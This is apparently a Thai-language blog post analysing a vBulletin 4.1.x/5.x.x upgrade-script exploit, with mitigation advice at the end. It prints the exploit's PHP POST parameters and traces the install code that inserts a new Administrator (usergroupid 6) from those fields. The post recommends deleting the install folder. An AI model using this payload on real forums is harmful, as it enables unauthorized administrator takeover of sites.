ช่องโหว่ตัวนี้คือ vBulletin 4.1.x / 5.x.x Upgrade 0day Exploit โดย Exploit นี้จะพบได้ใน Directory ที่ติดตั้ง vBulletin ใน vBulletin เวอร์ชั่น 4.1.x และ 5.x.x ครับ
$fields = array( 'ajax' => urlencode('1'), 'version' => urlencode('install'), 'checktable' => urlencode('false'), 'firstrun' => urlencode('false'), 'step' => urlencode('7'), 'startat' => urlencode('0'), 'only' => urlencode('false'), 'customerid' => urlencode($_POST['customerid']), 'options[skiptemplatemerge]' => urlencode('0'), 'response' => urlencode('yes'), 'htmlsubmit' => urlencode('1'), 'htmldata[username]' => urlencode($_POST['username']), 'htmldata[password]' => urlencode($_POST['password']), 'htmldata[confirmpassword]' => urlencode($_POST['password']), 'htmldata[email]' => urlencode($_POST['email']) );
จาก Exploit Code ที่เป็นภาษา PHP อ่านได้ใจความว่าเป็นการ POST ค่าพารามิเตอร์ที่เป็น username/password ไปยังไฟล์ /install/upgrade.php เมื่อสันนิษฐานได้แบบนี้ก็คิดต่อได้เลยว่า ต้องมีการ Insert User ใหม่เข้าไปใน database โดยเป็นสิทธิ์ Admin แน่นอน ผมจึงตามไปจนเจอว่าอยู่ในไฟล์ /install/includes/class_upgrade_install.php ฟังก์ชั่น step_7 ครับ
/*insert query*/ $this->db->query_write(" INSERT INTO " . TABLE_PREFIX . "user (username, salt, password, email, usertitle, joindate, lastvisit, lastactivity, usergroupid, passworddate, options, showvbcode) VALUES ( '" . $this->db->escape_string(htmlspecialchars_uni($data['htmldata']['username'])) . "', '" . $this->db->escape_string($salt) . "', '" . $this->db->escape_string(md5(md5($data['htmldata']['password']) . $salt)) . "', '" . $this->db->escape_string($data['htmldata']['email']) . "', '" . $this->db->escape_string($this->phrase['install']['usergroup_admin_usertitle']) . "', " . TIMENOW . ", " . TIMENOW . ", " . TIMENOW . ", 6, FROM_UNIXTIME(" . TIMENOW . "), $admin_useroption, 2 ) ");
โดยที่ htmldata[xxx] ที่ POST มานั้นมาจาก Input Form ของหน้า Upgrade เอง สังเกตได้จากตัวแปร $html จะมี input อยู่และ name="htmldata[xxx]" ยกตัวอย่าง input username
<td class="alt1"> <div id="ctrl_username"> <input type="text" tabindex="1" dir="ltr" size="35" value="' . htmlspecialchars_uni($data['htmldata']['username']) . '" id="it_username_1" name="htmldata[username]" class="bginput" vbrequire="1" /> </div> </td>
จากฟังก์ชั่น step_7 จะสังเกตได้อย่างที่ข้างต้นกล่าวว่า เป็นการ Insert User ลงไปใน Database จากนั้นก็จับคู่เลยว่า Field ไหน Data อะไร ยกตัวอย่าง usergroupid = 6
เลข 6 คือกลุ่ม Administrator ในระบบ vBulletin ทำให้ข้อมูลที่ยิงเข้าไปกลายเป็น Administrator และ Login เข้าเว็บด้วยสิทธิ์ Admin ได้เลย เมื่อเป็น Admin เว็บแล้วทำอะไรได้บ้าง จินตนาการต่อเองนะครับ :P
วิธีการแก้ไขสำหรับ vBulletin เวอร์ชั่น 4.x ให้ลบโฟลเดอร์ /install เวอร์ชั่น 5.x ให้ลบโฟลเดอร์ /core/install ครับ ส่วนมาก CMS หลังลงเสร็จจะมีเตือนให้ลบอยู่แล้ว เพราะว่าเท่าที่เห็นในการ Install จะมีการเขียนไฟล์ config.php, setting.php, etc... อาจจะโดน Bypass เขียนโค้ด PHP ลงไปแทนค่า username/password ที่ต่อกับ Database ก็เป็นได้ :),, ICheer_No0M | 2600Thailand
Ref : vBulletin 4.1.x / 5.x.x Upgrade 0day Exploit
Ref : vBulletin Manual
ไม่มีความคิดเห็น:
แสดงความคิดเห็น